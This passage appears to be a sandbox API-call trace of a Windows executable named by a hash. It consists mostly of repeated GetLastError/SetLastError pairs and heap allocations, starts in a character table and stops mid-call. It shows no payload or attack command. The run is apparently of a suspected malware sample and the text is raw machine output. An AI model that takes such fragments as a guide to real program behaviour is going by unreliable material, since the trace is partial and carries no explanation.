!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¥R¿â\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0061.244] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48a208, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x62 [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] GetLastError () returned 0x0 [0061.244] SetLastError (dwErrCode=0x0) [0061.244] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.245] SetLastError (dwErrCode=0x0) [0061.245] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.246] SetLastError (dwErrCode=0x0) [0061.246] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.247] GetLastError () returned 0x0 [0061.247] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.248] SetLastError (dwErrCode=0x0) [0061.248] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.249] SetLastError (dwErrCode=0x0) [0061.249] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.250] SetLastError (dwErrCode=0x0) [0061.250] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.251] SetLastError (dwErrCode=0x0) [0061.251] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.252] SetLastError (dwErrCode=0x0) [0061.252] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.253] SetLastError (dwErrCode=0x0) [0061.253] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x0, Size=0x6b) returned 0x2131710 [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.254] SetLastError (dwErrCode=0x0) [0061.254] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.255] SetLastError (dwErrCode=0x0) [0061.255] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.256] GetLastError () returned 0x0 [0061.256] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.257] SetLastError (dwErrCode=0x0) [0061.257] GetLastError () returned 0x0 [0061.286] SetLastError (dwErrCode=0x0) [0061.286] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.287] SetLastError (dwErrCode=0x0) [0061.287] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.288] SetLastError (dwErrCode=0x0) [0061.288] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.289] GetLastError () returned 0x0 [0061.289] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.290] SetLastError (dwErrCode=0x0) [0061.290] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.291] GetLastError () returned 0x0 [0061.291] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] GetLastError () returned 0x0 [0061.292] SetLastError (dwErrCode=0x0) [0061.292] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x90) returned 0x2131788 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1f) returned 0x2131820 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x2e) returned 0x2131848 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x37) returned 0x2131880 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x3c) returned 0x21318c0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x31) returned 0x2131908 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x14) returned 0x2131948 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x24) returned 0x2131968 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0xd) returned 0x2131998 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1d) returned 0x21319b0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x31) returned 0x21319d8 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x15) returned 0x2131a18 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x17) returned 0x2131a38 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0xe) returned 0x2131a58 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x69) returned 0x2131a70 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x3e) returned 0x2131ae8 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1b) returned 0x2131b30 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1d) returned 0x2131b58 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x48) returned 0x2131b80 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x12) returned 0x2131bd0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x18) returned 0x2131bf0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1b) returned 0x2131c10 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x24) returned 0x2131c38 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x29) returned 0x2131c68 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x1e) returned 0x2131ca0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x6b) returned 0x2131cc8 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x17) returned 0x2131d40 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0xf) returned 0x2131d60 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x16) returned 0x2131d78 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x2a) returned 0x2131d98 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x29) returned 0x2131dd0 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x12) returned 0x2131e08 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x21) returned 0x2131e28 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x16) returned 0x2131e58 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x22) returned 0x2131e78 [0061.293] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x12) returned 0x2131ea8 [0061.293] HeapFree (in: hHeap=0x2130000, dwFlags=0x0, lpMem=0x2130fd0 | out: hHeap=0x2130000) returned 1 [0061.295] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x800) returned 0x2131ec8 [0061.295] RtlAllocateHeap (HeapHandle=0x2130000, Flags=0x8, Size=0x80) returned 0x2130fd0 [0061.295] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x403935) returned 0x0 [0061.296] RtlSizeHeap (HeapHandle=0x2130000, Flags=0x0, MemoryPointer=0x2130fd0) returned 0x80 [0061.296] GetLastError () returned 0x0 [0061.296] SetLastError (dwErrCode=0x0) [0061.296] GetLastError () returned 0x0 [0061.296] SetLastError (dwErrCode=0x0) [0061.296] GetLastError () returned 0x0 [0061.296] SetLastError (dwErrCode=0x0) [0061.296] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.297] SetLastError (dwErrCode=0x0) [0061.297] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.298] SetLastError (dwErrCode=0x0) [0061.298] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.299] SetLastError (dwErrCode=0x0) [0061.299] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.300] SetLastError (dwErrCode=0x0) [0061.300] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.301] SetLastError (dwErrCode=0x0) [0061.301] GetLastError () returned 0x0 [0061.302] SetLastError (dwErrCode=0x0) [0061.302] GetLastError () returned 0x0 [0061.302] SetLastError (dwErrCode=0x0) [0061.302] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.303] SetLastError (dwErrCode=0x0) [0061.303] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.304] GetLastError () returned 0x0 [0061.304] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError 